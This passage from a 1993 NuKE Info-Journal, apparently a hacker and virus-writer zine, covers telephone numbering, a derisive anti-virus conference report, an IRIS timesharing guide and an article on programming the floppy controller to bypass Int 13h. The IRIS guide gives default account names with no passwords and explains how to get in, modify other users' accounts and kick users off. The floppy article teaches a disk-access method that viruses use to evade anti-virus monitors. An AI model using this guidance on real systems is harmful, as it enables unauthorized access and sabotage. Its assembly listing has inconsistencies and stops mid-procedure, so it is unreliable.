976 number. Now time is generally found at NPA-976-1616, and the 844 exchange is available for normal usage. (Interesting note: in the San Francisco Bay area [408, 415, 510, 707], you can get the time by dialing "POPCORN", billed as a local call. In New York and Boston, the number used to be "NERVOUS.") 936 ~~~ Like 844, the 936 was once used for pre-recorded messages, only 936 was used for weather announcements (it was WEather-6 in the old days). This, like time, has been moved to a 976 service in most places, usually at NPA-976-1212 (and they throw in obnoxious ads to boot!). Now 936 is usually just a normal exchange. % Phone capacity % ~~~~~~~~~~~~~~~~~~ The original design of telephone numbers was: (NBX) NNX-XXXX. In theory, this gives: N B X N N X X X X X 8 * 2 * 10 * 8 * 8 * 10 * 10 * 10 * 10 * 10 = 1.024 billion numbers However, as some area codes and exchanges are reserved for special purposes (such as 411, 555 exchange, etc), the total possible number of telephone numbers was somewhat less. As the exchange codes in some area codes were used up, some central offices started using the NXX format, where the middle digit can then be a zero or one; this began in New York and Los Angeles and is now used in almost every area code. Now, telephone numbers look like this: (NBX) NXX-XXXX. This gives a potential of: N B X N X X X X X X 8 * 2 * 10 * 8 * 10 * 10 * 10 * 10 * 10 * 10 = 1.28 billion numbers However, codes like 411 and 611 would not be assigned because they will still be needed for services such as directory assistance and repair. Nevertheless, some unused N11 codes like 211 may be found in some area codes as active exchanges. It's also not a good idea to assign the home area code (or nearby area codes), as this could cause confusion. Going from NNX exchange codes to NXX only represents a 25% increase in the total theoretical amount of telephone numbers, and not all area code regions are expected to run out of exchanges. The ultimate goal is not only to use area codes for exchanges codes, but to use exchanges codes for area codes also. This means that telephone numbers will ultimately look like this: (NXX) NXX-XXXX. This gives a potential of: N X X N X X X X X X 8 * 10 * 10 * 8 * 10 * 10 * 10 * 10 * 10 * 10 = 6.4 billion numbers With a five-fold increase in the number of possible area codes, there should be plenty of room to grow for some time. % Placing calls % ~~~~~~~~~~~~~~~~~ Basically, all calls within an area code will ultimately be dialed in one of the following ways: 1) dial seven digits; 2) dial one plus home area code plus the local number; or 3) dial one plus the seven digit number within area code, then wait for a few seconds to time out. One alternative not mentioned in official documents (for touch tone phones) is to use one plus seven digit number in home area code then pressing the pound key, with the pound key terminating the dialing (as in international dialing). * "1+" is generally used for direct-dialed long distance calls within North America, especially calls outside the local area code. Sometimes intra-LATA calls must be dialed 1-NXX-XXX or even 1-NPA-NXX-XXXX if they're outside your local calling area. Yep, unlike almost all of the rest of the world, World Zone One uses 1 for DDD calls instead of the internationally-standard 0. * "0+" is used to dial operator-assisted or automated credit card calls within North America. After 0 + (area code) + number are dialed, a prompt tone (same tones as a dial tone, but for a very short duration) will be issued, then one of the following actions will be taken: 1) wait for a few seconds, then an operator will come on line; 2) dial "0" to get the operator immediately (for a collect or person-to-person call, etc.); or 3) dial the telephone company credit card number for billing purposes. It is unclear what will happen in the cases of automated collect calls, as to what kinds of dialing would be standard in that case. In my area, a computer voice system prompts you for your name, then dials the number and says "You have a collect call from [your three-second message]. Press one to accept the charges or two to reject the call" (or something very close to that). Of course, this system is open to abuse: probably the most collect calls are made from a Mr./Ms. "Call me back at NXX-XXXX", etc... Also, this system is only used for local calls. * Dialing "0" and waiting will get the local area operator. * "00" is used in the U.S. to get the operator for a default long distance carrier. This is used as most long distance companies have their own operators. A single "0" digit will call up the local operator (with the local telephone company as opposed to the long distance company). * "01" is used for overseas calls. "01+" indicates an operator-assisted or automatic credit card call, while "011+" indicates a direct-dialed overseas call. "010+" is reserved for some unspecified future use. * "10XXX+" is used in the U.S. to indicate which long distance carrier to use in a situation known as "equal access." This allows a telephone subscriber to select a long distance company for a particular call. For instance, "10288+" gets AT&T (288 is ATT...), while "10222+" gets MCI and "10333+" selects U.S. Sprint. After this code, a 1 or 0 is dialed (to indicate direct dial or operator-assisted call), then the number to be called. With this system you can place a call via another carrier if they offer lower rates, etc. for that particular call. You get a separate bill in a month or two. 10000 is not available for assignment. 10001 - 10099 are reserved for restricted purposes. 10100 - 10199 are reserved for international carriers. 10200 - 10999 are assigned to standard long distance carriers. Canada doesn't have to worry about this code yet, though given the recent changes in long-distance regulation, it's likely that they will adopt a U.S.-style system soon. * "11+" is reserved for special calling services like call-waiting functions, etc. For instance, "1170" is used to disable the call-waiting. The asterisk or "star" key ("*") can be used instead of the "11" prefix on touch-tone phones. The current special calling codes on many local telephone systems are: *57 - call tracing request (some systems use this for call back) *60 - call blocking activated *61 - priority ring activated *63 - select call forwarding activated *66 - repeat dialing activated *67 - call number ID blocking (must be dialed before each call) *69 - call return activated *70 - disable call waiting *71 - three-way calling according to usage *72 - enable call forwarding *73 - disable call forwarding *74 - modify speed calling directory entry (for 8 # service) *75 - modify speed calling directory entry (for 30 # service) *76 - call pickup *79 - ring again *80 - call blocking disabled *81 - priority ring disabled *83 - select call forwarding activated *86 - repeat dialing disabled *89 - call return disabled % International dialing % ~~~~~~~~~~~~~~~~~~~~~~~~~ International Direct Distance Dialing (011+/01+ dialing) began in 1970 between New York and London, and has since become available in all service areas in North America. Over 99% of the world's telephones are reachable from the United States and Canada. According to AT&T, the only areas which require operator assitance to reach are: Afghanistan, Burma, Cuba, Easter Island, Laos, Niue, Norfolk Island, Somalia, Spanish Sahara, Sudan, Tuvalu, Vanatu, Wallis and Futuna, and Yemen. From Canada, calls can direct-dialed to Cuba and Burma (the U.S. government doesn't permit any calls to there, even though the capability exists). North Korea cannot be dialed at all, period, even with an operator; not only do they have a primitive phone system and are politically shunned, they also just changed everyone's phone number, so no one can dial in and spread evil Capitalist propaganda. (There are no phone books in North Korea -- that's classified information. Seriously.) As you can see, most of the non-direct-dialable numbers are small Pacific islands; these calls aren't direct-dialable because the only trunks to these countries are generally to Australia or other Pacific countries, and AT&T is only allowed to use the trunks for an hour or two each day. Other countries just have phone systems in such awful condition that they can't be dialed easily (Laos, Sudan, etc.), while Cuba and Burma are banned in the U.S. for political reasons. Within a few years, the capability to direct-dial all telephones in the world should exist. Already IDDD exists to certain research bases in Antarctica, Mongolia, and other places you'd never even *want* to call. It's only a matter of time, now... % The future of World Zone One % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ On January 1, 1995 all telephone systems are expected to change their equipment over to allow for new "interchangeable" area codes (area codes whose second digits are not one or zero). This date was originally to be July 1, 1995 but was moved up to January because of increasing demand for phone numbers due to fax, modem, and cellular phones. The initial set of new area codes will take the form NN0, or those numbers ending in zero. This means that areas codes that do not have exchanges ending in zero (or only a few NN0 exchanges that could be renumbered) can still be able to tell the difference between an exchange and an area code by looking at the first three digits. The new NN0-type area codes will be assigned starting with these first few codes (in order): 260, 480, 520, 590, 650, 220, 250, 490, 660, 680, 720, 730, 850, and 940. The 970 NPA will be reserved for phone testing purposes, and will not become and area code. New area codes may be assigned as follows: geographic codes will use N2X and N3X, N4X through N7X will be used for expansion, and N8X and N9X will be used for non-geographic codes. (In this notation N represents a digit from 2 to 9, and X represents any digit.) Thus, area codes like 223, 734, or 520 would be geographic codes under the proposal, while area codes like 987, 294, or 780 would be non-geographic (like 700/800/900 numbers are now). This middle digit of the area code is referred to as the "B" digit, thus the B digit indicates a new geographic or non-geographic code. As the initial set of geographic or non-geographic codes are used up, expansion takes place by using the nearest available expansion set. Thus, N4X codes are next in line for geographic codes expansion, while N7X codes are next for non-geographic expansion. Ultimately, expansion to more digits will be needed in the distant future, and it is proposed that either the N5X or N6X codes can be used to provide for "expansion" codes to set up a numbering plan of more than ten digits. In addition to the new area codes, the Carrier Identification Code format of 10XXX+ will be expanded to 101XXXX+ in the near future, because nearly all of the 10XXX codes are assigned at this time. On December 31, 1996 (referred to as "Time T"), there will be an expansion of the maximum international number length from twelve digits to fifteen digits, according to a CCITT recommendation. Already one country has moved to fourteen digit numbers, and more such plans are likely in the future; in order to continue to permit direct dialing to such countries, the maximum number of digits allowed for IDD calls must be increased to at least fifteen. Also, it has been recommended that the North American phone system evolve to ten-digit dialing for station-to-station (network based) calls, including local calls. The idea is to start in the metropolitan areas using "overlay" NPA codes like New York and perhaps other areas soon. It is also proposed that 1+ be eliminated as a long-distance access prefix; in other words, any call in North America would consist of ten digits, whether local, long distance, or to an 800/900-type service. In effect, everyone will have a ten-digit phone number, instead of a seven-digit phone number and a three-digit area code, as under the current plan. Who will get the first interchangeable area code? No one knows for certain, but by observing number of exchanges in each area we can make some educated guesses. Alabama (205) and Arizona (602) both will need new NPAs very soon, as will 206 (western Washington), 703 (Houston area) and [gasp!] 708 (suburban Chicago). One of these five areas will almost certainly get the first code. Some claim it will be 708... An Illinois Bell operator denies this (but remember, this is an IBT operator here, not someone who knows what they're talking about). There is also a rumour that the next split will occur somewhere in Florida, though this seems unlikely as none of Florida's NPAs are running out of numbers and other areas need them much more urgently. Only time will tell. % Conclusion % ~~~~~~~~~~~~~~ Well folks, I hope this information has been of use to you. The telephone system can be a fascinating thing (and I'm not just talking about phreaking here), and I encourage you to learn more on your own. Also, look for more articles about the world telecommunications network in future NuKE InfoJournals. I'd also like to take the time to give credit where credit is due: some of the information in this article was gleaned from the comp.dcom.telecom newsgroup on the Usenet and the Telecom Digest archives at lcs.mit.edu, with other bits coaxed from IBT and AT&T operators, borrowed from other text files, and written from personal knowledge and outside research. Enjoy, everyone. Nowhere Man/NuKE =============================================================================== =============================================================================== Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "National Computer Security Association (NCSA) -N E- Cover Report" Nu -N uK Nu By KE uK Throbbing Grisle E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % NCSA San Francisco Conference January 1993 % Yes, that's right, I got in at the National Computer Security Association's Conference pertaining to computer security in general and viruses in particular. Thanks goes out to my University professor for giving me his unwanted complimentary tickets (way to go, Les!). Since I was on semester break, I called my friend C.K. and we were off, to what is affectionately known in the bay area as, "The City." This would not be that big of deal, except that the list of speakers reads like a who's who of the anti-viral industry. We started off with a lecture by the Man himself, Mr. John McAfee. What can we say about this guy? Well, we noticed that John is like the Hugh Hefner of the AV (AntiVirus) world. He comes in very well dressed, very confident, and can get away with saying the most inaccurate pieces of crap and the crowd eats it up like its ice cream! At one point in his lecture, John stated that the Dir II virus "infects the FAT". Huh?!?! Tell the truth, John. You ain't no programmer. When was the last time you typed in "#include "? Bet you never have. But the ironic thing about the whole show is that there are guys there who know way more about viruses, even have better products out on the market, but who aren't nearly as successful. Does that mean there was McAfee bashing going on? Naw...no resentment here! [NOT] The next lecture C.K. and I went to ,a long and greasy brunch, was David Stang. "David Who?" you might ask? Well, I never heard of him before either, but he claims to have started the NCSA (wow - what an accomplishment) and then left it (left or kicked out?) but comes back to give lectures (no hard feelings, right?) Well, anyway, he was there to sell his Virus Analysis Machine, which consisted of the same ol' bait files, a little bit of checking (where is the code placed??), and then it runs the file through Sourcer. I would have thought he could have written his own disassembler, one specifically for viruses. We decided that it would not even be worth pirating. You can bet the other programmers in the audience thought the same thing. Well, we decided to wrap up the days festivities (before going out into the San Francisco night to party) by attending Alan Soloman's lecture. He is the good doctor from Doctor Soloman's Anti-Virus Tool Kit. This guy is the kind of Brit that would extract a fee from the US and Canada for using the English Language. Tight? You probably couldn't get dental floss through his `arsehole.' He gets up there waving his arm, making snide comments about everybody and everything (with side implications to McAfee; I get the feeling these two would not make good roommates). Then he talks about CARO, being the `Saviour of the world.' CARO, from what I could gather from the conference, is a group of virus researcher that happens to include Alan Soloman and Fridrik Skulason (maker of F-Prot AntiVirus). The way these guys talk about their group, I though I was listening to a YAM conference! They really think their group has made a Difference and they are the only protectors against viruses that matter. I turned to a very attractive girl who was sitting nearby (must have been from Marketing) and asked, "Is McAfee part of CARO?", to which she rolled her eyes and said, "Are you kidding? They hate each other." With these amazing memories etched in our minds, we wandered out into the harsh city for a night of over-indulgence. So much so, we couldn't get up the next day until noon (well, we _were_ on semester break!) We made it up for the middle of someone's else's lecture (I can't remember whom it was - he had an accent and spoke about how to disassemble viruses. Did I learn anything? Did I care?) Okay, we found that boring enough so we went to the exhibit. Did you know people are still working on hardware solutions for viruses? The girl was pretty cute at the booth, so I became overly interested in their shitty product, asking questions like "Gee, so I wouldn't need any updates?" "Oh no, not with our product", she purred. Yeah, Right. Then we went to a panel discussion where the Good Dr. Soloman, and three other guys were talking about the teenage personality distortion patterns of the virus writer/hacker. Nothing new here. We're all suicidal virgins, y'know. (Even though many of use are married with kids, and I presume the rest did pass their puberty stage. Come on, where you getting this info?) The last seminar was given by Fridrik Skulason. This guy is all the way from Iceland. (Iceland? They have computers up there? Better yet, `When did they learn to type?') If Soloman is the Arch Enemy of McAfee, Skulason would have been McAfee in an anti-matter universe. What the hell does that mean? It means that McAfee is dark, tall and slim. Fridrik is pale, blond and puggy. McAfee is an effective speaker (Imposing his Reign of Error); Fridrik is quiet. I mean _real_ quiet. C.K. wanted to set the guy on fire just to see if he could let out a loud yell. John McAfee has Charisma! Fridrik has facts and knows what the hell he is talking about. (Big Deal? huh?) So here is what I could conclude from the conference; a) AntiVirus is a big business, McAfee still is the heavyweight champ, but there are a lot of contenders out there that want to knock out the chump, er, champ. However, there is a fallout coming, where only the strong will survive. It is not a time or place for a company to start any more; XTREE's resent failure was sited as an example of that. b) The AntiVirus would is much more `clickish' than I would have thought. Kind of reminds me of high school. Some people won't talk to others. Amusing. c) The AntiVirus world is scared. The sheer of new viruses is increasing exponentially, overtaking some scanners. VCL was mentioned, as well as MPC as the new trend that threatens the AV developer. A fall out is predicted in this business. Any last parting shots? You Bet! David Stang: Have you ever thought of selling real estate? Fridrik Skulason: Try charging a little more for F-Prot and take a vacation; you need the sun. John McAfee: Keep making VIRUSHAM, but sock the money away. Your days are numbered. Throbbing Grisle ================================================================================ ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Interactive Realtime Information Service (IRIS) -N E- Guide" Nu -N uK Nu By KE uK Nitro-187 E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % IRIS R9.1.3A Introduction % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hello Everybody, I would like to know what has happened to the hacking world. Now it's basically dead, at least in most areas I know of. I hope to change that. Anyways, Here is some info on a relatively old System called IRIS or Interactive Realtime Information Service. This system was originally meant to run on older systems like PDP-8 and PDP-11. Due to the versatile nature of IRIS, today a lot more systems run it. IRIS systems usually can be reached at 1200 7E1 and after pressing either ESCape or Enter a few times, you should see something like this as a greet: -=- Welcome to "IRIS" R9.1.3A timesharing ! ACCOUNT ID ? -=- Or sometimes it will say what you have reached under the welcome line. IRIS is also extremely hacker-friendly as it will let you type account names for as long as you want. Also when you guess an account there are no passwords on them. At first you will not see what you type, to change this type Control-E to turn the echo on. Try CAPSLOCK also. -=- DEFAULT ACCOUNTS ---------------- MANAGER (Good System Access) NO NAME (Normal User) DEMO (Try the other ones first) PDP8 / PDP11 < == All General Accounts SOFTWARE \ Hopefully you're in there with one of those accounts. Now, then you will get a # prompt. If you are on with an account of access level 3, then you will be able to use a user maintanencer program, by typing either ACCOUNTS or ACCOUNT UTILITY. You should get: -=- (0) EXIT TO SYSTEM (1) ADD NEW ACCOUNT (2) MODIFY ACCOUNT (3) DELETE ACCOUNT (4) INQUIRE ACCOUNT (5) LIST THE ACCOUNTS Ah, I wasn't able to create an account, but I did modify several. Basically this is pretty straight forward. -=- Ok, after you're done playing with the accounts and exit properly there are a lot of interesting features on this IRIS. On one particular system that I use often you have several utilities such as spreadsheets, word processors and even an ASM program. You can get a list of all the things to do by typing LIBR at the # prompt. most of the filenames you type the response will be "NOT A PROCESSOR", Since most of the IRIS software was written is business BASIC. Type BASIC LOAD . Here are some of the most interesting programs. PP or PORT ALL MONITOR will let you see who else is using the system. if for some reason you want to kick off a user, type PPP and then the user name. Also if you want to see your own status type PROT.STAT If you need help with something try typing GUIDE and it will give you a short menu of all the help files available. Too bad there usually isn't many. Another interesting utility to use is BLOCKCOPY, since I am not completely used to it, I will show you what the guide said: INTERACTIVE PROGRAM GUIDES FOR IRIS CONFIGURATION AND SETUP TOPIC # FOR INFORMATION ON: 1 BLOCKCOPY THESE PROGRAMS CAUSE NO ACTUAL CHANGES TO TAKE PLACE. RATHER THEY DESCRIBE THE ACTUAL PROCESSORS/COMMANDS YOU SHOULD USE TO MAKE THE CHANGES YOU DESIRE. 'BEFORE' YOU ACTUALLY DO MAKE THE SUGGESTED CHANGES, YOU SHOULD FIRST 'BACKUP YOUR SYSTEM'. REMEMBER TO BE VERY CAREFUL WHEN WORKING WITH THE DSP PROCESSOR. ENTER TOPIC # 1 INTRODUCTORY COMMENTS ON USING BLOCKCOPY PRINT HERE OR $LPT (C/R OR $) : INTERACTIVE PROGRAM GUIDE ON SETTING UP BLOCKCOPY INTRODUCTION BLOCKCOPY IS A STAND-ALONE UTILITY PROGRAM WHICH GIVES GREAT FLEXIBILITY IN COPYING ANY PART OF ONE DISC TO ANY PART OF ANOTHER, EVEN ONTO A DIFFERENT DISC CONTROLLER. BLOCKCOPY DOES NOT PROVIDE FAST PERFORMANCE, BUT IT CAN BE VERY USEFUL IN SPECIAL CASES. EXAMPLES: 1) YOU CAN COPY A SINGLE LOGICAL UNIT FROM ONE PACK TO ANOTHER, WITHOUT OVERWRITING OTHER LOGICAL UNITS ALREADY ON THE DESTINATION. 2) IF YOU HAVE BOTH LARGE STORAGE MODULES AND SMALLER CARTRIDGE DRIVES ON THE SAME SYSTEM, YOU CAN BACKUP YOUR SYSTEM LOGICAL UNIT 0 FROM STORAGE MODULE ONTO A CARTRIDGE PACK WHICH CAN BE SET ASIDE AS A DEDICATED SYSTEM BACKUP. 3) IF YOU HAVE A SPECIAL SWAPPING DISC, IT CAN BE BACKED UP TO AND RESTORED FROM OTHER STORAGE MODULES. PRESS RETURN WHEN READY TO GO ON LIMITATIONS NOTE THAT WHILE YOU CAN COPY FROM ONE TYPE OF DISC CONTROLLER TO ANOTHER, THE RESULT MAY NOT BE INSTALLABLE UNDER IRIS BECAUSE OF SOME DISC ADDRESS CONSIDERATIONS. ALSO NOTE THAT YOU MAY NOT SPECIFY A DESTINATION WHICH PHYSICALLY OVERLAPS THE SOURCE ON THE SAME PACK. SETUP FIRST, HAVE AT HAND YOUR R9.0 PERIPHERALS HANDBOOK. NOTICE THAT FOR EACH TYPE OF DISC, THERE IS A DIFFERENT VALUE FOR THE BZUD POINTER. ALSO NOTICE THAT IT GIVES YOU FORMULAS TO COMPUTE VALUES CALLED PHYU. FIND THE APPROPRIATE DISC SPECIFICATION SHEET(S) DESCRIBING YOUR SOURCE (WHERE YOU ARE COPYING BLOCKS FROM) AND YOUR DESTINATION (WHERE YOU ARE COPYING BLOCKS TO). THE SOURCE AND DESTINATION DO NOT HAVE TO BE THE SAME TYPE OF CONTROLLER. PRESS RETURN WHEN READY TO GO ON NOTE: ALL REQUESTED VALUES/CALCS IN OCTAL UNLESS OTHERWISE NOTED. ALL VALUES ON DISC SPECIFICATION SHEETS ARE IN OCTAL. ENTER THE FOLLOWING VALUES FOR THE SOURCE: ADDRESS OF THE SOURCE BZUD : 0 COMPUTED VALUE OF SOURCE PHYU : 0 STARTING CYLINDER NUMBER : 0 BLOCK # IN THE CYL TO START COPYING FROM (ORIGIN 0) THIS IS NORMALY ZERO : 0 SOURCE CONTROLLER'S DEVICE CODE : 0 SOURCE DISC'S LRC : 0 NUMBER OF CYLINDERS TO COPY (REM TO GIVE IN OCTAL) : 0 ENTER THE FOLLOWING VALUES FOR THE DESTINATION: ADDRESS OF THE DESTINATION BZUD : 0 COMPUTED VALUE OF DESTINATION PHYU : 0 STARTING CYLINDER : 0 BLOCK # IN THE CYL TO START COPYING TO (ORIGIN 0) : 0 DESTINATION CONTROLLER'S DEVICE CODE : 0 PRINT HERE OR $LPT (C/R OR $) : 0 RUN "MAKEBLOCKCOPY", WHEN FINISHED ENTER THE FOLLOWING COMMAND: #SHUTDOWN [PASSWORD] BLOCKCOPY @73000,X73000 USE DBUG TO SET UP THE FOLLOWING LOCATIONS: 200 : 0 201 : 0 202 : 0 203 : 0 204 : 0 205 : 0 206 : 0 207 : 0 210 : 0 211 : 0 212 : 0 213 : 176346 PRESS RETURN WHEN READY TO GO ON 0 THEN J410 (OR RESET & START AT 410) TO START THE COPY RULES FOR BLOCKCOPY: ADDRESS FUNCTION 400 BAD HALT 401 NOT USED 402 NOT USED 410 START COPY 411 START VERIFY 412 START DISC PATTERN GENERATOR 413 START DISC PATTERN VERIFICATION 414 RETRY CURRENT BLOCK/IF SUCCESSFUL, RESUME-NO LOSS 415 SKIP CURRENT BLOCK/GO TO NEXT BLOCK - BLOCK LOST 416 START INFINITE DISC PATTERN TEST PRESS CR TO CONTINUE DISPLAY OF RULES HALTS: 63077 INDICATES A SUCCESSFUL COMPLETION 63377 WRONG VALUE(S) IN TABLE STARTING AT 200 67077 READ ERROR 73077 WRITE ERROR 63277 VERIFY ERROR IN CORE COMPARE ON READ OR WRITE ERROR, CHECK THE FOLLOWING CELLS: 260 = CURRENT SOURCE RDA 261 = CURRENT DEST RDA 262 = CURRENT DISC STATUS NO AUTOMATIC RETRIES ARE DONE. ON A BAD BLOCK, THERE ARE OPTIONAL RESTARTS AT LOC 414 & 415 (SEE ABOVE) INTERACTIVE PROGRAM GUIDES FOR IRIS CONFIGURATION AND SETUP TOPIC # FOR INFORMATION ON: 1 BLOCKCOPY THESE PROGRAMS CAUSE NO ACTUAL CHANGES TO TAKE PLACE. RATHER THEY DESCRIBE THE ACTUAL PROCESSORS/COMMANDS YOU SHOULD USE TO MAKE THE CHANGES YOU DESIRE. 'BEFORE' YOU ACTUALLY DO MAKE THE SUGGESTED CHANGES, YOU SHOULD FIRST 'BACKUP YOUR SYSTEM'. REMEMBER TO BE VERY CAREFUL WHEN WORKING WITH THE DSP PROCESSOR. -=- Also you can edit individual text files and configuration files by text editors. The names of this shit is different on all the systems I've called. -=- %CONCULSION I hope this serves a useful purpose.. I still can't understand why IRIS is extremely easy to use, and very common.. yet, I haven't seen any good articles on it in a very long time. ================================================================================ ================================================================================ Volume 1, Issue 6, May 1993 NuKE Info-Journal #6 NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE uK E- KE "Programming the NEC765 Floppy Disk Controller, -N E- and the DMA Chip to bypass the Int 13h Nu -N uK Nu By KE uK Dr. X E- KE -N E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu % The Challenge % ~~~~~~~~~~~~~~~~~ The challenge was started by Dr. X in order to try to access the disk media without using any DOS or Bios Interrupt 13h calls. Surely a _very_ difficult challenge indeed, nevertheless Dr. X has succeeded in doing so, and he will explain the theory behind his development. This scholar does deserve a `pat on the back' for his brain teaser work. Good work Dr. X, and welcome aboard. NuKE Members/Supporters % Programming the Floppy Disk Controller & DMA chip to bypass the Int 13h % ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The NEC 765 floppy disk controller chip controls floppy disk drives motors and heads. And it manages the flow of data to and from the disk sector(s). The FDC (Floppy Disk Controller) performs 15 operations in all, of which only three are discussed here. They are Seek, Read and Write. The FDC operates in three phases: 1) The command phase 2) The execution phase 3) The result phase a) The command phase : When one or more bytes are sent to the Data Registers b) The execution phase: When the FDC undertake the command c) The result phase : A number of status byte(s) are read from the Data Register(s) % I) The Ports % The FDC is operated through only three I/O (Input/Output) ports: 3F2 - Digital Output Port 3F4 - Status Register 3F5 - Data Register 1. Digital Output Port (3F2) Bits Function 1-0 Drive # ; 00=A, 01=B, 10=C, 11=D 2 0=Reset the floppy disk controller (***) 3 1=Enable FDC interrupt and DMA access 7-4 1=Turn ON drive motors D to A (bit 4 = drive A) Warning: This register is WRITE ONLY (***) Do not set bit 2 to 0 at any time (recelebrate) 2. Data Register (3F5) Operation Byte # Function Seek 1 Code number (Fh) 2 Head & Drive : 00000HDD (h=head, DD=drive) Read Sector 1 Code number (66h) 2 Head & Drive : 00000HDD (h=head, DD=drive) 3 Track number 4 Head number 5 Sector number 6 Bytes in sector (2=512) 7 End of track (09) 8 GAP Length 9 Data Length Write Sector 1 Code number (45h) 2-9 Same as READ SECTOR (above) Warning: You must be sure that the FDC is ready before you send or read a a byte from the data register. Bits 7-6 of the status register provide this information. 3. Status Register (3F4) Bits Function 3-0 1=Disk drive D-A in Seek Mode 4 1=FDC read or write command in progress 5 1=FDC is not in DMA mode 6 1=FDC data register is ready to send data 0=FDC data register is ready to receive data 7 1=FDC ready to send or receive data Warning: When a seek operation is complete, the FDC invokes a INT 6h (the disk interrupt). When the interrupt occurs, the BIOS interrupt handler sets the bit 7 of the seek status byte in the BIOS Data Area located at 0:043E. This is the sole result of the interrupt. % II) Initializing % Before initializing a channel, the program must send a code to the chip telling it whether it is reading from or writing to the Floppy Disk Controller. This one byte code is 46h for reading and 4Ah for writing. The code must be sent to each of two separate port addresses: 0E & 0C. After that, you can send the parameters to the Data Register (3F5), following the bellow steps: 1. Turn on the floppy disk (enable interrupts with a SLI first) a) Out the code byte to the Digital Output Register (3F2) b) Send 46h to read or 4Ah to write to each of two separate port addresses 0B and 0Ch (eg: Out 0B,46h Out 0C,46h) 2. Then you _must_ perform a seek operation to the concerned Head and Track; a) Out the code for Seek operation (0F) to the FDC (3F5) b) Out head & Drive code (00000HDDxB, H=head,DD=drive) c) Out the track number d) Wait for Int 6h 3. After that you can perform the read or write operation(s): a) Calculate the address of the buffer (see the program at the end of this Article) b) Send the address to the DMA c) Out the value 66h for read or 45h for write to the FDC (3F5) d) Out the Head & Drive number e) Out the Track number f) Out the Head number g) Out the Sector number h) Out the Sector Code; get this information with INT 21h i) Out End-of-Track ; with AX=1E35h j) Out the GAP length k) Out the data length l) Wait for INT 6h m) Perform 7 INs from the Data Register (3F5) to get the status bytes. (Refer to Part III) 4. Finally, turn off the motor(s): a) Out the code byte to the Digital Output Register (3F2) % III) The Status Bytes % After a read or write operation the FDC gives you 7 status bytes: Byte # Function 1 Status Byte 0 2 Status Byte 1 3 Status Byte 2 4 Track number 5 Head number 6 Sector number 7 Byte per sector code (0-3) 1. Status Byte 0 Bit # Function 7-6 00=normal termination 01=execution began, could not complete 10=invalid command 11=failed because disk drive went offline 5 1=seek operation in progress 4 1=disk drive fault 3 1=disk drive not ready 2 number of selected head 1-0 number of selected drive 2. Status Byte 1 Bit # Function 7 1=requested sector beyond last sector number 6 always 0 5 1=data transfer error 4 1=data overrun 3 always 0 2 1=cannot read or find sector 1 1=cannot write because of write protection tab 0 1=missing address mark in disk format 3. Status Byte 2 Bit # Function 7 always 0 6 1=encountered delete-data address mark 5 1=CRC error in data 4 1=track identification problem 3 1=scan command condition satisfied 2 1=scan command condition NOT satisfied 1 1=bad track 0 1=missing address mark % IV) Read Procedure in ASM (for A86 assembler) % Jmp TheCode Buffer Db 512 dup (0) ; For the sector StatusBuffer Db 7 Dup (7) ; For the status bytes TheCode Proc Near ReadSector: ; Turn ON the Motor Sti Mov Dx,03F2H Mov Al,00101101xB ; Set the Bits 0 , 2 ,3 , 4 Out Dx,Al ; Wait for motor to come to speed (1/2 second) Call Motor_Delay Mov Cx,2000 Loop $ ; Begin the initialization of DMA Chip Mov Al,46H ; Code for Read Datas Out 11,Al ; Send Datas Out 12,Al ; Now , Calculate buffer address Lea Ax,Buffer ; Mov Bx,Ds ; Rol Bx,4 ; Push Bx ; And Bl,0FH ; Mov Dl,Bl ; Pop Bx ; Add Ax,Bx ; Jnc NoCarry ; Inc Dl ; NoCarry: ; Dec Al ; justify Out 4,Al ; Send Low Byte of adress to the DMA controller Mov Al,Ah ; Out 4,Al ; Send High byte of the adress // // // // Mov Al,Dl ; Out 81h,Al ; Send Page number (Page register) ; Finish initialization Mov Ax,511 ; Out 5,Al ; DMA controller Mov Al,Ah ; Out 5,Al ; Mov Al,2 ; Out 10,Al ; DMA controller ; Get pointer to disk base Mov Al,1EH ; Mov Ah,35H ; Int 021H ; ; Send read parameters. Mov Ah,066H ; Code for single sector read Call Out_Fdc ; Send It Mov Ah,2 ; Head&Drive # Call Out_FDC ; Send It Mov Ah,1 ; Track Number Call Out_FDC ; Send It Mov Ah,0 ; Head # Call Out_FDC ; Send It Mov Ah,3 ; Sector # Call Out_FDC ; Send it Mov Ah,Es:[Bx]+3 ; Sector Size code (2=512 bytes) Call Out_FDC ; Send it Mov Ah,Es:[Bx]+4 ; End-of-track # Call Out_FDC ; Send It Mov Ah,Es:[Bx]+5 ; Gap length Call Out_FDC ; Send it Mov Ah,Es:[Bx]+6 ; Datas length Call Out_FDC ; Send Call Wait_Interrupt ; Wait Int 6 ; Read the result bytes .. Mov Cx,7 Lea Bx,StatusBuffer Next: Call In_FDC Mov [BX],Al Inc Bx Loop Next ; Turn OFF the motor Mov Dx,03F2H Mov Al,00001101xB ; Turn Off the Drive B Out Dx,Al Ret ; Exit from the programm Sector_REad Endp Wait_interrupt Proc ; Monitor the int 6 in bios status Byte Mov Ax,40H Mov Es,Ax Mov Bx,3EH Again: Mov Dl,Es:[BX] Test Dl,080H Jz Again And Al,127 Mov Es:[Bx],Dl Ret Wait_Interrupt EndP Out_FDC proc near Mov Dx,03F4H Keep_Trying: In Al,Dx Test Al,128 Jz Keep_Trying Inc Dx Mov Al,Ah Out Dx,Al RET Out_FDC EndP In_FDC Proc Near Mov Dx,03F4H Keep_Trying2: In Al,Dx Test Al,128 Jz Keep_Trying2 Inc Dx In Al,Dx Ret In_FDC EndP Motor_Delay Proc Mov Ah,15 ; Perform Seek Operation Call Out_FDC 